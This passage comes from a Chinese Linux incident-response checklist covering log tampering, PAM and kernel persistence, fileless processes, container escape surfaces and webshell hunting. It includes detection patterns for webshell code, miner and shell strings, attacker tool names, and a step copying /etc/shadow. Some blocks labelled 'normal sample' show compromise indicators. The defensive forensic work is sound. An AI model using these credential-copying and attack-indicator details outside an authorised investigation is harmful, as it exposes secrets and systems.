`known_hosts` 中主机数量远超本机业务连接数（横向探测留痕）	严重	**脚本** linux_ssh_surface() L12770
`/tmp`、`/home` 下存在私钥文件（`id_rsa`、`*.pem`）	高危	**经验**
history 中出现对多个内网 IP 的 ssh/scp 循环	高危	**脚本** linux_lateral_and_tools() L13019
存在 frp/nps 等内网穿透客户端配置	中危	**脚本** linux_lateral_and_tools() L13019
安装了 nmap 但仅用于运维巡检	提示	**脚本** linux_lateral_and_tools() L13022

▸ **如何排除误报**

- 运维常备 nmap、ansible，需核对是否为登记工具。
- `known_hosts` 会累积历史连接，行数多不一定异常。
- CI/CD 机器上存在部署私钥属正常，需看权限与用途。

⑤ 证据留存

记录工具路径 + SHA256 + mtime、`known_hosts` 行数与其中陌生网段、私钥文件路径，填入表 2-1；穿透工具需抄录其配置文件中的服务端地址（进入 IOC 表）。

2.19 日志完整性（反取证） P1

对应脚本：linux_log_integrity() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

批注

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① 检查目的

日志被清、时间被改、wtmp 被截断，本身就是入侵证据。此节只判断「完整性」，不分析内容。

② 执行命令

```bash
ls -la /var/log/ | head -30
sudo stat -c '%n size=%s mtime=%y' /var/log/auth.log /var/log/secure /var/log/wtmp /var/log/btmp
/var/log/lastlog 2>/dev/null
sudo last | head -20; sudo lastb 2>/dev/null | head -10
sudo journalctl --disk-usage; sudo journalctl --list-boots | tail -5
sudo grep -c '' /var/log/wtmp /var/log/btmp 2>/dev/null
```

③ 正常样例

```
-rw-r----- 1 root adm   48210 Oct 19 02:30 auth.log
-rw-rw-r-- 1 root utmp 294912 Oct 19 02:30 wtmp
294912 /var/log/wtmp
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
`auth.log` / `secure` 存在但大小为 0，且主机已运行数日	严重	**脚本** linux_log_integrity() L13091
`wtmp` 被清空（`last` 无任何记录，但主机明显在用）	严重	**脚本** linux_log_integrity() L13091
`/var/log` 下多个日志的 mtime 集中在同一分钟（批量删除/截断）	高危	**脚本** linux_log_integrity() L13091
`journalctl --list-boots` 只剩当前一次启动（历史被清）	高危	**脚本** linux_log_integrity() L13091
日志文件权限被改为 666/777，或属主被改	中危	**经验**
日志轮转配置被修改（`/etc/logrotate.conf` mtime 近期）	提示	**经验**

▸ **如何排除误报**

- 新装系统或刚做过日志轮转，日志小属正常。
- 容器内 `/var/log` 常为空（日志走 stdout），属正常。
- `lastlog` 为稀疏文件，大小不反映记录数。

⑤ 证据留存

记录每个日志文件的「大小 + mtime + 首尾各一条时间戳」，填入表 2-1；若判断被清空，立刻对 `/var/log` 整目录做镜像复制（`tar` 或 `dd`）并计算哈希，这是不可再生证据。

2.20 审计与登录记录

P1

对应脚本：linux_audit_logs() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

批注

① 检查目的

`last`/`lastb`/`who` 与 auditd 记录能还原「谁在什么时候从哪登录、执行了什么」。

② 执行命令

```bash
last -a | head -30
sudo lastb -a 2>/dev/null | head -20
who; w
sudo aureport -au 2>/dev/null | tail -25
sudo ausearch -m USER_LOGIN -ts recent 2>/dev/null | tail -30
```

③ 正常样例

```
webadmin pts/0  10.1.2.9   Sun Oct 19 02:11   still logged in
reboot   system boot 5.4.0-152  Wed Oct  7 06:41   still running

root     pts/1   45.x.x.x   Sun Oct 19 02:13 - 02:20  (00:07)
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
`last` 中出现陌生公网 IP 的 root 登录会话	严重	**脚本** linux_audit_logs() L12375
`lastb` 中同一 IP 失败 ≥20 次	严重	**脚本** linux_audit_logs() L12367
登录时间与业务时段完全不符（凌晨 2–5 点）	高危	**经验**
auditd 中 `USER_LOGIN` 记录缺失但主机有登录活动（审计被绕）	高危	**脚本** linux_audit_logs() L12319
同一账号从两个不同 IP 同时在线	中危	**经验**
`who` 显示当前有非运维账号在线	提示	**经验**

▸ **如何排除误报**

- 堡垒机登录会显示为堡垒机 IP，需向运维索取会话对应表。
- `lastb` 需 root 且 btmp 存在，缺失属正常。
- auditd 未安装时 `aureport` 不存在，属「未采到」。

⑤ 证据留存

按「登录时间 + 账号 + 来源 IP + 持续时间」抄录异常会话，填入表 2-1 与第 7 章时间线；`last`/`lastb` 全量输出另存。

2.21 包完整性校验

P2

对应脚本：linux_pkg_verify() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

批注

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① 检查目的

用包管理器自带的校验功能发现「系统命令被替换」——这是 rootkit 最典型的特征（替换 ps/netstat/ss/ls）。

② 执行命令

```bash
sudo rpm -Va 2>/dev/null | head -40
sudo debsums -c 2>/dev/null | head -40
sudo dpkg -V 2>/dev/null | head -40
sudo grep -iE ' install | upgrade ' /var/log/dpkg.log 2>/dev/null | tail -20
sudo rpm -qa --last 2>/dev/null | head -15
```

③ 正常样例

```
S.5....T.  /usr/bin/ps
S.5....T.  /usr/bin/netstat
..5....T.  /etc/ssh/sshd_config

2026-10-19 02:18:03 install libcurl4:amd64 <none> 7.68.0
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
`/usr/bin/ps`、`/usr/bin/netstat`、`/usr/bin/ss`、`/bin/ls` 校验失败（被替换）	严重	**脚本** linux_pkg_verify() L13125
系统命令的 mtime 与包安装时间不一致且无升级记录	严重	**脚本** linux_pkg_verify() L13125
近期安装了陌生包（尤其 `libcurl`、`gcc`、`netcat`、`socat`）	高危	**经验**
配置文件校验失败（`/etc/ssh/sshd_config` 等）——可能是正常修改，也可能是篡改	中危	**脚本** linux_pkg_verify() L13125
校验工具本身不可用（`rpm`/`dpkg` 被破坏）	提示	**脚本** linux_pkg_verify() L13109

▸ **如何排除误报**

- `rpm -Va` 会对配置文件报 `..5....T.`，属正常修改。
- 日志文件、缓存文件不在包管理范围内，不会出现在校验结果中。
- `debsums` 需单独安装，未装时改用 `dpkg -V`。

⑤ 证据留存

抄录校验失败的文件清单与对应包的「应有哈希 / 实际哈希」，填入表 2-1；被替换的命令需从同版本介质取原始文件做比对，样本按第 0.3 节提取。

2.22 容器 / 虚拟化环境

P2

对应脚本：linux_container_env() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

批注

① 检查目的

先判断「这是不是容器」。若在容器内排查，宿主视角的结论不成立；若宿主上有容器，逃逸面必须单独看。

② 执行命令

```bash
systemd-detect-virt; ls -la /.dockerenv 2>/dev/null; cat /proc/1/cgroup | head -5
sudo docker ps -a 2>/dev/null; sudo crictl ps -a 2>/dev/null
cat /proc/version | grep -i microsoft
mount | grep -E 'overlay|docker|cgroup' | head
sudo ls -la /var/lib/docker/containers/ 2>/dev/null | head
```

③ 正常样例

```
docker
-rwxr-xr-x 1 root root 0 Oct 19 02:00 /.dockerenv
12:pids:/docker/3f2a1b...

CONTAINER ID   IMAGE   STATUS   NAMES
3f2a1b9c8d    nginx:1.24  Up 2 days  web
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
容器以 `--privileged` 运行，或挂载了 `/var/run/docker.sock`（逃逸面）	高危	经验
容器内出现 `docker`/`kubectl` 二进制且能访问宿主 socket	高危	经验
出现非登记镜像（`docker images` 中陌生 TAG）	中危	经验
容器内 PID 1 为 `bash`/`sh`（人工进入后未退出）	中危	经验
运行在容器内排查（所有宿主侧结论需回到宿主复核）	提示	脚本 linux_container_env() L13145

▸ **如何排除误报**

- 业务本身就以容器交付，大量容器属正常，重点看镜像来源与特权模式。
- `/.dockerenv` 在部分运行时（containerd）可能不存在，需看 cgroup。
- K8s 环境请同时执行第 2.30 节。

⑤ 证据留存

记录「是否容器 + 容器 ID/镜像 + 挂载点 + 是否 privileged」，填入表 2-1；若为容器内，须注明「本章结论仅限容器视角」。

2.23 应用与中间件日志

P2

对应脚本：linux_app_logs() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

批注

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① 检查目的

Nginx/Apache/Tomcat/MySQL 各自的错误日志与慢查询，能暴露 WebShell 执行失败、数据库爆破、反序列化攻击。

② 执行命令

```bash
sudo ls -l /var/log/nginx /var/log/httpd /var/log/tomcat* /var/log/mysql 2>/dev/null | head -30
sudo grep -iE 'error|exception|severe|OutOfMemory' /var/log/tomcat*/catalina.out 2>/dev/null | tail -30
sudo grep -iE 'Access denied|authentication' /var/log/mysql/error.log 2>/dev/null | tail -20
sudo grep -iE 'PHP (Warning|Fatal)|eval\(\)' /var/log/nginx/error.log /var/log/apache2/error.log 2>/dev/null |
tail -20
```

③ 正常样例

```
2026/10/19 02:11:09 [error] 2044#0: *318 FastCGI sent in stderr: "PHP Fatal error:  Uncaught Error: Call to
undefined function shell_exec()"
2026/10/19 02:11:12 [error] 2044#0: *319 PHP Warning:  include(/var/www/html/upload/x.php): failed to open
stream
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
错误日志中出现 `eval()`、`assert()`、`base64_decode()` 触发的致命错误（后门执行失败）	严重	**脚本** linux_app_logs() L15302
同一时间窗内大量 500 与 PHP Fatal error	高危	**脚本** linux_app_logs() L15302
MySQL 错误日志出现大量 `Access denied for user`（数据库爆破）	高危	**脚本** linux_app_logs() L15302
Tomcat 出现反序列化相关异常（`ClassNotFoundException` + 陌生类名）	中危	**经验**
日志被清空或轮转异常	提示	**脚本** linux_app_logs() L15307

▸ **如何排除误报**

- 业务代码本身可能产生大量 Warning，需先建立基线。
- `shell_exec` 被禁用时出现该错误，说明有代码在尝试调用。
- 容器化部署时日志在 stdout，需 `docker logs` 或 `kubectl logs`。

⑤ 证据留存

抄录「时间 + 错误级别 + 关键错误行」，填入表 2-1；错误行中出现文件路径的，转入第 2.16/2.32 节核查该文件。

2.24 网络与配置面（DNS / 邻居 / 路由 / 非 iptables 防火墙 / 代理 / NFS•Samba / conntrack) P2

对应脚本：linux_net_config() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

批注

① 检查目的

DNS 被改可劫持更新与情报查询；hosts 被改可屏蔽安全厂商；Samba/NFS 暴露则是横向入口。

② 执行命令

```bash
cat /etc/resolv.conf; cat /etc/hosts
ip route; ip neigh
sudo nft list ruleset 2>/dev/null | head -40; sudo iptables -L -n 2>/dev/null | head -30
env | grep -i proxy; cat /etc/environment | grep -i proxy
sudo cat /etc/exports 2>/dev/null; sudo testparm -s 2>/dev/null | head -20
sudo conntrack -L 2>/dev/null | head -20
```

③ 正常样例

```
nameserver 10.1.2.10
search corp.local

10.1.2.0/24 dev eth0 proto kernel scope link src 10.1.2.33
default via 10.1.2.1 dev eth0

Chain INPUT (policy ACCEPT)
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
`/etc/hosts` 中把安全厂商/更新域名指向 127.0.0.1 或陌生 IP	严重	**经验**
`/etc/exports` 导出根目录且 `no_root_squash`（NFS 提权）	严重	**脚本** linux_net_config() L14567
DNS 指向陌生内网 IP，且非 DHCP/云厂商下发	高危	**经验**
路由表存在指向陌生网关的静态路由（隧道）	高危	**经验**
Samba 共享为 `guest ok = yes` 且路径为 `/`	中危	**脚本** linux_net_config() L14567
防火墙策略为 ACCEPT 全通（多数云主机默认）	提示	**经验**

▸ **如何排除误报**

- 云主机 DNS 常为 `169.254.169.253` 或内网地址，属正常。
- 内网文件服务器必然开启 NFS/Samba，重点看导出范围与权限。
- `conntrack` 需安装 conntrack-tools。

⑤ **证据留存**

抄录 hosts 全文、resolv.conf 的 nameserver、路由与 neigh 表、nft/iptables 摘要、exports 与 smb.conf 关键行，填入表 2-1。

批注

2.25 Linux 持久化与内核面（rc / 环境注入 / sysctl / PAM / systemd socket / cron @reboot / 容器•K8s 滥用 / ld.so） P2

对应脚本：linux_persistence() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① **检查目的**

把分散的持久化点集中过一遍，重点是与前几节不重叠的部分：PAM 记录密码、sysctl 改内核行为、systemd socket 激活。

② **执行命令**

```bash
sudo grep -vE '^#|^$' /etc/pam.d/common-auth /etc/pam.d/sshd /etc/pam.d/system-auth 2>/dev/null
sudo sysctl -a 2>/dev/null | grep -E 'kernel.kptr_restrict|kernel.core_pattern|net.ipv4.ip_forward'
sudo ls -la /etc/systemd/system/*.socket /lib/systemd/system/*.socket 2>/dev/null | head
sudo crontab -l 2>/dev/null | grep '@reboot'; sudo grep -rn '@reboot' /etc/cron* /var/spool/cron/ 2>/dev/null
cat /etc/ld.so.preload 2>/dev/null; sudo grep -rn 'pam_' /etc/pam.d/ | grep -v '^.*#' | head -20
```

③ **正常样例**

```
auth    required    pam_unix.so nullok
auth    optional    pam_permit.so

net.ipv4.ip_forward = 0
kernel.core_pattern = |/usr/share/apport/apport %p
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
PAM 配置中出现陌生模块（`pam_exec.so`、`pam_python.so`）且带脚本路径（记录明文密码）	严重	**脚本** linux_persistence() L13404
`kernel.core_pattern` 指向 `/tmp` 下的可执行程序（核心转储劫持提权）	严重	**经验**
`@reboot` cron 条目执行陌生脚本	高危	**脚本** linux_cron() L11398
`net.ipv4.ip_forward = 1` 且非路由器/容器宿主（流量转发/隧道）	高危	**经验**
存在陌生 `.socket` 单元（socket 激活可隐蔽触发）	中危	**经验**
`pam_unix.so nullok`（允许空口令登录）	提示	**脚本** linux_persistence() L13404

▸ **如何排除误报**

- `pam_exec.so` 在部分企业做登录审计（记录登录事件），属正常，需核对脚本内容。
- 容器宿主必须 `ip_forward=1`。
- `core_pattern` 带管道符是 systemd/apport 的正常配置。

⑤ **证据留存**

抄录 PAM 关键行、sysctl 三项值、`@reboot` 条目、陌生 socket 单元名及 mtime，填入表 2-1；PAM 引用的脚本取 SHA256。

2.26 进程与内存深度（maps 异常映射 / 异常环境变量 / 双向隐藏进程 / 进程树 / Java 线索 / fd 句柄面） P2

对应脚本：linux_proc_deep() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① **检查目的**

无文件攻击（memfd、删文件后驻留）在 `ps` 里看不出异常，必须看 `/proc/PID/maps` 与 `exe` 链接。

② **执行命令**

```bash
sudo ls -l /proc/*/exe 2>/dev/null | grep -i deleted
sudo grep -l 'memfd' /proc/*/maps 2>/dev/null | head
sudo tr '\0' '\n' < /proc/1/environ
sudo ls -l /proc/*/fd 2>/dev/null | grep -iE 'socket:|/tmp/' | head -20
ps auxf | grep -iE 'java|tomcat' | grep -v grep
```

③ **正常样例**

```
/proc/4180/exe -> /tmp/.x (deleted)
/proc/3180/maps: 7f2a... r-xp 00000000 00:00 0 /memfd:payload (deleted)

JAVA_TOOL_OPTIONS=-javaagent:/tmp/agent.jar
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
`/proc/*/maps` 中出现 `/memfd:` 映射（无文件载荷）	严重	**脚本** linux_proc_deep() L15450
`exe` 指向 `(deleted)` 且路径在 /tmp、/dev/shm、/var/tmp	严重	**脚本** linux_proc_deep() L15450
进程环境变量中出现 `LD_PRELOAD`、`JAVA_TOOL_OPTIONS=-javaagent:` 指向陌生路径	高危	**脚本** linux_proc_deep() L15493
进程持有大量到外网的 socket fd（C2 长连接）	高危	**经验**
Java 进程命令行含 `-javaagent` 指向 webapps 目录	中危	**脚本** _proc_javaagent() L4988
同一进程 fd 数量异常增长（文件泄漏/遍历）	提示	**经验**

▸ **如何排除误报**

- Java APM（SkyWalking/Pinpoint）正常使用 `-javaagent`，需核对 jar 路径是否为登记组件。
- `memfd` 在部分数据库/运行时中正常使用（如 glibc 的某些实现），需看映射内容是否可执行。
- `environ` 需 root 或同用户权限才能读。

⑤ **证据留存**

记录「PID + 异常映射/环境变量原文 + 对应文件路径 + SHA256（若可读）」，填入表 2-1。`/proc/PID/maps` 与 `environ` 建议整段抄录或截图。

2.27 取证与响应基线（时间线素材 / ATT&CK 映射，只读）

P1

对应脚本：r10_baseline_step(linux)() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① **检查目的**

与 Windows 1.25 同义：先固化「此刻状态」，再做判断。Linux 侧重点是进程/网络/日志/配置四件套。

② **执行命令**

```bash
sudo mkdir -p /mnt/case && ps auxf > /mnt/case/01_ps.txt
sudo ss -tunlp > /mnt/case/02_ss.txt; sudo ss -antp state established > /mnt/case/03_estab.txt
sudo tar czf /mnt/case/04_logs.tgz /var/log 2>/dev/null
sudo cp /etc/passwd /etc/shadow /etc/crontab /mnt/case/ 2>/dev/null; sudo crontab -l > /mnt/case/05_cron.txt
2>/dev/null
cd /mnt/case && sha256sum * > 06_hash.txt
```

③ **正常样例**

```
total 1.2G
-rw-r--r-- 1 root root  182K Oct 19 02:40 01_ps.txt
-rw-r--r-- 1 root root  312M Oct 19 02:41 04_logs.tgz
-rw-r--r-- 1 root root  1.2K Oct 19 02:41 06_hash.txt
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
未固化就执行 `kill`、`reboot`、`rm`（程序性缺陷，证据不可用）	严重	**经验**
基线文件未计算哈希	高危	**脚本** r10_baseline_step() L27505
输出目录空间不足（需先 `df -h` 确认）	提示	**脚本** r10_baseline_step() L27505

▸ **如何排除误报**

- 不要写 `/tmp`（可能被清理或空间不足），优先外接只读盘。
- `/var/log` 打包前先用 `du -sh` 估体积。
- 时间以系统本地时区为准，须同时记录时区与 NTP 偏差。

⑤ 证据留存

本节产出即表 2-1 的「证据位置」总索引：`/mnt/case` 下所有文件的名称、大小、SHA256 列成一页清单，附在报告首页。

批注

2.28 自定义规则 • 哈希库 • PE 与字符串（人工近似） P2

对应脚本：r11_custom_checks() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① 检查目的

脚本用规则库与哈希库批量比对。纸上只能对已锁定的样本做特征提取，再与第 6 章 IOC 表逐条对照。

② 执行命令

```bash
sha256sum /tmp/.x; md5sum /tmp/.x
file /tmp/.x
strings -n 6 /tmp/.x 2>/dev/null | grep -iE 'http|stratum|wallet|/bin/sh|chmod' | head -20
readelf -h /tmp/.x 2>/dev/null | head -12
```

③ 正常样例

```
$ sha256sum /tmp/.x
9f2c8e1a4b6d3f7c5e8a1b2c3d4e5f60a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e  /tmp/.x

$ file /tmp/.x
ELF 64-bit LSB executable, x86-64, statically linked, stripped
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
SHA256 命中第 6 章已知恶意哈希表	严重	**脚本** r11_custom_checks() L18620
`file` 显示 ELF 但扩展名为 .jpg/.txt（伪装）	高危	**脚本** r11_custom_checks() L18620
`strings` 中出现 `stratum+tcp`、钱包地址、C2 URL	高危	**脚本** r11_custom_checks() L18620
`stripped` 且静态链接的极小 ELF（常见于挖矿/后门）	中危	**脚本** r11_custom_checks() L18620
哈希在公开情报中「无记录」不等于安全	提示	**经验**

▸ **如何排除误报**

- Go/Rust 编写的正常程序也常为静态链接 + stripped。
- `strings` 对加壳/加密样本无效。
- 生产机上不要执行样本，只做静态读取。

⑤ **证据留存**

把「路径 + SHA256 + MD5 + file 类型 + 关键字符串」抄入表 2-1，并与第 6 章 IOC 表逐条比对，记录「命中 / 未命中」。

批注

2.29 文件内容特征 • YARA-like • 日志规则（人工近似） P2

对应脚本：r13_rules_checks() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① **检查目的**

与 Windows 1.27 同一思路：多特征交叉确认，单特征命中只作提示。

② **执行命令**

```bash
sudo grep -rlnE 'eval\(\$_(POST|GET|REQUEST)' /var/www 2>/dev/null | head
sudo grep -rlnE 'base64_decode\(|gzinflate\(|str_rot13\(' /var/www 2>/dev/null | head
sudo grep -iE 'union.*select|\.\./|\.\./\.\./|/etc/passwd|cmd=' /var/log/nginx/access.log 2>/dev/null | tail -20
sudo grep -rlnE 'os\.system\(|subprocess\.|socket\.socket\(' /var/www 2>/dev/null | head
```

③ **正常样例**

```
/var/www/html/upload/20261019.php
/var/www/html/include/conn.php

45.x.x.x - - [19/Oct/2026:02:11:09 +0800] "GET /upload/20261019.php?a=system HTTP/1.1" 200
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
同一文件同时命中「外部输入 + 解码 + 执行」三类特征	严重	**脚本** r13_rules_checks() L21328
access.log 中 SQL 注入/路径穿越特征后紧跟 200 响应	高危	**脚本** r13_rules_checks() L21328
仅命中单一特征（可能是框架正常代码）	中危	**经验**
扫描器高频 404（噪声，但可作为攻击起点线索）	提示	**经验**

▸ **如何排除误报**

- PHP 框架（如 ThinkPHP）源码本身包含大量 `eval`，需按是否为上传目录区分。
- 日志中的攻击串多为扫描噪声，关键看是否成功（200 + 后续访问）。
- 本节为近似口径，规则库与评分无法在纸上完整复现。

⑤ **证据留存**

记录「文件路径 + 命中特征 + 日志样例行」，填入表 2-1；可疑文件转第 4 章人工审阅。

2.30 容器与 K8s 深度面（静态 Pod 清单 / 控制面凭据权限 / 逃逸迹象 / 运行时配置） P2

对应脚本：r12_container_k8s() · 优先级 P2 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

批注

① 检查目的

K8s 环境的核心风险是「凭据泄露 + 特权容器 + 宿主挂载」。先看 serviceaccount 与静态 Pod，再看运行时配置。

② 执行命令

```bash
sudo ls -la /etc/kubernetes/ /var/lib/kubelet/ 2>/dev/null
sudo ls -la /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
sudo find /etc/kubernetes -name '*.yaml' -newermt '-30 days' 2>/dev/null
kubectl get pods -A -o wide 2>/dev/null | head -20; kubectl get clusterrolebinding 2>/dev/null | head
sudo ls -la /var/lib/kubelet/pods/*/volumes/ 2>/dev/null | head -20
sudo crictl ps -a 2>/dev/null | head -15
```

③ 正常样例

```
total 24
drwxr-x--- 3 root root 4096 Oct 19 02:00 serviceaccount
lrwxrwxrwx 1 root root   13 Oct 19 02:00 token -> ..data/token

NAMESPACE  NAME   READY  STATUS   NODE
default    web-0  1/1    Running  node01
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
Pod 挂载了宿主 `/`、`/var/run/docker.sock`、`/proc`（逃逸/横向）	严重	**脚本** r12_container_k8s() L14260
`/etc/kubernetes/manifests/` 中出现陌生静态 Pod（kubelet 会自动拉起，极隐蔽）	严重	**脚本** r12_container_k8s() L14260
serviceaccount token 被复制到非容器路径（凭据外带）	高危	**脚本** r12_container_k8s() L14260
存在 `cluster-admin` 绑定的陌生 ServiceAccount 或用户	高危	**脚本** r12_container_k8s() L14260
Pod 以 `privileged: true` 或 `hostNetwork: true` 运行	中危	**脚本** r12_container_k8s() L14260
kubelet 配置近期被修改	提示	**经验**

▸ **如何排除误报**

- 监控/网络插件（Calico、Prometheus）通常需要特权与宿主挂载，属正常。
- `/var/run/secrets` 在 Pod 内必然存在，重点看是否被复制出去。
- 需有集群只读权限才能执行 `kubectl`，否则只能看本地文件。

⑤ **证据留存**

记录「Pod 名 + 镜像 + 特权标志 + 挂载点 + ServiceAccount + 对应 RBAC 绑定」，填入表 2-1；静态 Pod 清单全文抄录。

批注

2.31 Web 访问日志分析（nginx / apache，含轮转） P1

对应脚本：linux_weblog_step() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① **检查目的**

从访问日志还原攻击链：扫描 → 试探 → 上传 → 访问后门。字段格式与分析方法见第 3 章。

② **执行命令**

```bash
sudo ls -l /var/log/nginx/ /var/log/apache2/ /var/log/httpd/ 2>/dev/null
sudo grep -E '\.(php|jsp|asp|aspx)' /var/log/nginx/access.log | grep -E 'POST|upload' | tail -30
sudo awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -15
sudo grep -cE ' 404 ' /var/log/nginx/access.log; sudo grep -E ' 200 ' /var/log/nginx/access.log | grep -iE
'shell|cmd|upload' | tail
sudo zgrep -hE 'union.*select|\.\./' /var/log/nginx/access.log* 2>/dev/null | tail -20
```

③ **正常样例**

```
45.x.x.x - - [19/Oct/2026:02:11:03 +0800] "POST /upload.php HTTP/1.1" 200 512 "-" "Mozilla/5.0"
45.x.x.x - - [19/Oct/2026:02:11:09 +0800] "GET /upload/20261019.php HTTP/1.1" 200 38 "-" "curl/7.68"
```

（输出已截断，仅示意形态）

④ **异常特征**

看到什么（命中即按右侧级别记录）	级别	来源
同一 IP 大量 404 后出现 .php 的 200（上传成功并访问）	严重	**脚本** linux_weblog_step() L17192
UA 为 `curl`、`python-requests`、`sqlmap`、`nikto`、`masscan`	高危	**脚本** linux_weblog_step() L17192
URL 含 `cmd=`、`exec=`、`shell`、`eval`、`base64` 且返回 200	高危	**脚本** linux_weblog_step() L17192
单一 IP 请求量占全站 50% 以上（扫描/CC）	中危	**脚本** linux_weblog_step() L17192
日志中时间戳与系统时间不一致	提示	**脚本** linux_weblog_step() L17192

▸ **如何排除误报**

- CDN/负载均衡会让源 IP 变成代理 IP，需看 `X-Forwarded-For`。
- 健康检查产生固定 UA 高频请求，属噪声。
- `zgrep` 用于 `.gz` 轮转日志，不要先解压覆盖原文件。

⑤ 证据留存

抄录「时间 + 源 IP + 方法 + URL + 状态 + UA」，首次成功攻击时间写入第 7 章时间线；轮转日志（`.1`、`.gz`）一并检索，原件复制并计算哈希。

批注

2.32 Web 站点目录内容查杀

P1

对应脚本：linux_webshell_step() · 优先级 P1 · 五段式：目的 / 命令 / 样例 / 判据 / 证据

☐ 已检查 ☐ 正常 ☐ 异常 结果与证据填入表 2-1

① 检查目的

日志证明「被请求」，文件证明「已落地」。按时间、命名、权限、内容四维筛，逐个人工确认。

② 执行命令

```bash
sudo find /var/www -type f -newermt '-7 days' 2>/dev/null | head -40
sudo find /var/www -type f \( -name '*.php' -o -name '*.jsp' -o -name '*.war' \) -perm -o+w 2>/dev/null
sudo find /var/www -type f -size -2k \( -name '*.php' -o -name '*.jsp' \) -newermt '-30 days' 2>/dev/null | head
sudo grep -rln 'eval\|assert\|base64_decode' /var/www/html/upload* 2>/dev/null | head
sudo ls -la /var/www/html/uploads/ 2>/dev/null | head -20
```

③ 正常样例

```
-rw-r--r-- 1 www-data www-data 1204 Oct 19 02:11 /var/www/html/upload/20261019.php
-rw-r--r-- 1 www-data www-data  892 Oct 19 02:11 /var/www/html/upload/logo.jpg
```

（输出已截断，仅示意形态）

④ 异常特征

看到什么（命中即按右侧级别记录）	级别	来源
上传/附件/缓存目录中出现可执行的脚本文件	严重	**脚本** linux_webshell_step() L17197
图片文件内容含 `<?php`、`<%`（图片马）	严重	**脚本** linux_webshell_step() L17197
小于 2KB 的 php 文件且近期新增（一句话木马典型体积）	高危	**脚本** linux_webshell_step() L17197
文件权限为 `o+w`（任意用户可改）	中危	**脚本** linux_webshell_step() L17197
存在 `.zip`/`.tar.gz` 打包文件（可能为打包工具）	提示	**脚本** linux_webshell_step() L17197

▸ **如何排除误报**

- 框架升级会产生新文件，需核对版本发布时间。
- 缓存/编译目录（`runtime`、`cache`）会产生大量 php 文件，属正常。
- `find -newermt` 依赖文件系统时间戳，被 timestomp 后失效，需以日志为准。

⑤ **证据留存**

记录「路径 + 大小 + mtime + 权限 + 首行内容」，填入表 2-1；按第 4 章逐个人工审阅确认后，再按第 7.5 节处置。

表 2-1 第 2 章检查结果汇总

共 32 行 | 每检查完一项立即填写，不要事后回忆

#	检查项	结果	证据位置	备注
1	2.1 系统与内核信息	□正常 □异常		
2	2.2 账号与登录安全	□正常 □异常		
3	2.3 命令历史	□正常 □异常		
4	2.4 定时任务	□正常 □异常		
5	2.5 启动项与 rc.local	□正常 □异常		
6	2.6 后门与持久化（通用位置）	□正常 □异常		
7	2.7 进程、端口与网络连接	□正常 □异常		
8	2.8 文件系统与隐藏文件	□正常 □异常		
9	2.9 日志分析	□正常 □异常		
10	2.10 隐藏进程与资源占用	□正常 □异常		
11	2.11 内核模块	□正常 □异常		
12	2.12 文件 capabilities	□正常 □异常		
13	2.13 SSH 后门面	□正常 □异常		
14	2.14 注入点与自启动（环境与动态链接）	□正常 □异常		
15	2.15 at / systemd timer	□正常 □异常		
16	2.16 Web 应用层后门（按目录）	□正常 □异常		
17	2.17 恶意家族与勒索痕迹	□正常 □异常		
18	2.18 横向移动工具	□正常 □异常		

（续）第 19 页起为第 19–32 行，共 32 行

#	检查项	结果	证据位置	备注
19	2.19 日志完整性（反取证）	□正常 □异常		
20	2.20 审计与登录记录	□正常 □异常		
21	2.21 包完整性校验	□正常 □异常		
22	2.22 容器 / 虚拟化环境	□正常 □异常		
23	2.23 应用与中间件日志	□正常 □异常		
